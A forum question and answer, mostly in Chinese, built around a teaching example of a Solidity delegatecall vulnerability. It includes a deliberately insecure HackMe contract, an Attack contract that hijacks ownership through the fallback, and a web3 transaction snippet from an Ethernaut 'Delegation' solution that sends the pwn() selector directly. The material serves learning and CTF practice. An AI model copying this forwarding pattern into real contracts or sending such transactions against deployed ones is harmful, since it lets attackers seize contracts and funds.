Solidity 中的delegateCall 理解案例

delegateCall in Solidity understanding case



pragma solidity ^0.8.10;

/*
HackMe is a contract that uses delegatecall to execute code.
It it is not obvious that the owner of HackMe can be changed since there is no
function inside HackMe to do so. However an attacker can hijack the
contract by exploiting delegatecall. Let's see how.

1. Alice deploys Lib
2. Alice deploys HackMe with address of Lib
3. Eve deploys Attack with address of HackMe
4. Eve calls Attack.attack()
5. Attack is now the owner of HackMe

What happened?
Eve called Attack.attack().
Attack called the fallback function of HackMe sending the function
selector of pwn(). HackMe forwards the call to Lib using delegatecall.
Here msg.data contains the function selector of pwn().
This tells Solidity to call the function pwn() inside Lib.
The function pwn() updates the owner to msg.sender.
Delegatecall runs the code of Lib using the context of HackMe.
Therefore HackMe's storage was updated to msg.sender where msg.sender is the
caller of HackMe, in this case Attack.
*/

contract Lib {
    address public owner;

    function pwn() public {
        owner = msg.sender;
    }
}

contract HackMe {
    address public owner;
    Lib public lib;
    /*bool public fallbackCalisti;
    bytes public encodedData= abi.encodeWithSignature("pwn()");
    bytes public msgDatainFallback;*/


    constructor(Lib _lib) {
        owner = msg.sender;
        lib = Lib(_lib);
    }

    fallback() external payable {
        //fallbackCalisti= true;
        //msgDatainFallback= msg.data;

        address(lib).delegatecall(msg.data);
    }
}

contract Attack {
    address public hackMe;

    constructor(address _hackMe) {
        hackMe = _hackMe;
    }

    function attack() public {
        hackMe.call(abi.encodeWithSignature("pwn()"));
    }
}

所以上面的代码所做的是由其中的注释描述的,我想做的是通过发送一些以太币来更改 HackMe 合约的所有者,从而在不使用 Attack 合约的情况下触发其回退功能。所以我所做的是,我使用 0xdd365b8b 的数据将 1 个以太币交易到 HackMe 合约,这是在 Attack 合约的攻击函数中调用的 abi.encodeWithSignature("pwn()") 的字节表示。然而,尽管我成功触发了 HackMe 合约中的回退功能,但它并没有改变所有者。有人可以帮我吗?提前致谢。 https://i.stack.imgur.com/aPtlq.png 我用一个以太币按照图片中的方式进行交易。

我在 ethernaut 6. delegation 中遇到了类似的问题,当在 Remix 中使用 CALLDATA 的低级交互时。

一个简单的解决方案是使用 web3 而不是使用 remix 调用函数。

这对我有用:

await web3.eth.sendTransaction({
  from: player, // your address
  to: contract.address, // address of HackMe contract,
  value: web3.toWei(1, "ether"),
  data: web3.eth.abi.encodeFunctionSignature('pwn()')
});